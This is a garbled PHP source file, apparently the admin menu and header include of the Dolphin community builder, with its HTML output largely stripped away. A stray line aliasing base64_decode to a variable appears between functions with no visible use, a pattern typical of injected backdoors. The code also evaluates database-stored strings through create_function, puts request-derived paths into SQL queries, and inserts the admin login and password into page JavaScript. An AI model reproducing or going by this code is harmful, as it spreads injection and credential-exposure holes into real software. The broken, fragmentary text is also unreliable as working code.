/*************************************************************************** * Dolphin Smart Community Builder * ----------------- * begin : Mon Mar 23 2006 * copyright : (C) 2006 BoonEx Group * website : http://www.boonex.com/ * This file is part of Dolphin - Smart Community Builder * * Dolphin is free software. This work is licensed under a Creative Commons Attribution 3.0 License. * http://creativecommons.org/licenses/by/3.0/ * * Dolphin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the Creative Commons Attribution 3.0 License for more details. * You should have received a copy of the Creative Commons Attribution 3.0 License along with Dolphin, * see license.txt file; if not, write to marketing@boonex.com ***************************************************************************/ require_once( 'header.inc.php' ); require_once( BX_DIRECTORY_PATH_INC . 'db.inc.php' ); require_once( BX_DIRECTORY_PATH_INC . 'prof.inc.php' ); function getAdminMenu() { global $logged; global $site; $sBuild = ''; if ( $logged['admin'] ) { $user = 'admin'; $logout = 'admin_logout'; $sBuild = $sAdminMenu .= '' . '' . ''; } elseif( $logged['aff'] ) { $user = 'aff'; $logout = 'aff_logout'; } elseif($logged['moderator']) { $user = 'moderator'; $logout = 'moderator_logout'; } else return ''; $self = basename( $_SERVER['PHP_SELF'] ); $request_uri = basename( $_SERVER['REQUEST_URI'] ); $rCategs = db_res( "SELECT `ID`, `Title`, `Icon`, `Icon_thumb` FROM `AdminMenuCateg` WHERE `User`='$user' ORDER BY `Order`" ); $sAdminMenu = '
'; return $sAdminMenu; } $l = 'base64_decode'; function getAdminMenuItem( $aItem, $isActiveItem ) { global $site; if( strlen( $aItem['Check'] ) ) { $func = create_function( '', $aItem['Check'] ); if( !$func() ) return ''; } ob_start(); ?> return ob_get_clean(); } function getAdminMenuCateg( $aCateg, $sItems, $isActiveCateg, $isOpenCateg ) { global $site; ob_start(); ?> return ob_get_clean(); } function TopCodeAdmin( $extraCodeInBody = '' ) { global $site; global $admin_dir; global $_page; global $logged; global $sRayHomeDir; if ( $logged['admin'] ) { $logo_alt = 'Admin'; $user = 'admin'; } elseif( $logged['aff'] ) { $logo_alt = 'Affiliate'; $user = 'aff'; } elseif($logged['moderator']) { $logo_alt = 'Moderator'; $user = 'moderator'; } $selfCateg = 0; $selfCategIcon = ''; $self = basename( $_SERVER['PHP_SELF'] ); if( $self != 'index.php' ) { $aSelfCateg = db_assoc_arr( " SELECT `Categ`, `AdminMenuCateg`.`Icon` FROM `AdminMenu` LEFT JOIN `AdminMenuCateg` ON `AdminMenuCateg`.`ID` = `AdminMenu`.`Categ` WHERE RIGHT(`Url`, ".strlen($self).")='$self' AND `User`='$user' " ); $selfCateg = (int)$aSelfCateg['Categ']; $selfCategIcon = $aSelfCateg['Icon']; } else { $admin_categ = (int)$_GET['admin_categ']; if( $admin_categ ) { $aSelfCateg = db_assoc_arr( " SELECT `ID`, `Title`, `Icon` FROM `AdminMenuCateg` WHERE `ID`=$admin_categ AND `User`='$user' " ); if( $aSelfCateg ) { $selfCateg = (int)$aSelfCateg['ID']; $selfCategIcon = $aSelfCateg['Icon']; $_page['header'] = $aSelfCateg['Title']; } } } ?>=getAdminMenu();?> |
=$_page['header']?>
}
}
function getAdminCategIndex()
{
global $site;
$categ = (int)$_GET['admin_categ'];
$rItems = db_res( "SELECT `Title`, `Url`, `Desc`, `Check` FROM `AdminMenu` WHERE `Categ`=$categ ORDER BY `Order`" );
while( $aItem = mysql_fetch_assoc( $rItems ) )
{
if( strlen( $aItem['Check'] ) )
{
$func = create_function( '', $aItem['Check'] );
if( !$func() )
continue;
}
if( substr( $aItem['Url'], 0, strlen( 'javascript:' ) ) == 'javascript:' ) // smile :))
{
$href = 'javascript:void(0);';
$onclick = 'onclick="' . $aItem['Url'] . '"';
$aAdmin = db_arr( "SELECT * FROM `Admins` LIMIT 1" );
$onclick = str_replace( '{adminLogin}', $aAdmin['Name'], $onclick );
$onclick = str_replace( '{adminPass}', $aAdmin['Password'], $onclick );
}
else
{
$href = $site['url_admin'] . $aItem['Url'];
$onclick = '';
}
?>
=$aItem['Desc']?>
|
" /> | " alt="" /> | " /> |
" alt="" /> | = $text ?> |
" alt="" /> |
" /> | " alt="" /> | " /> |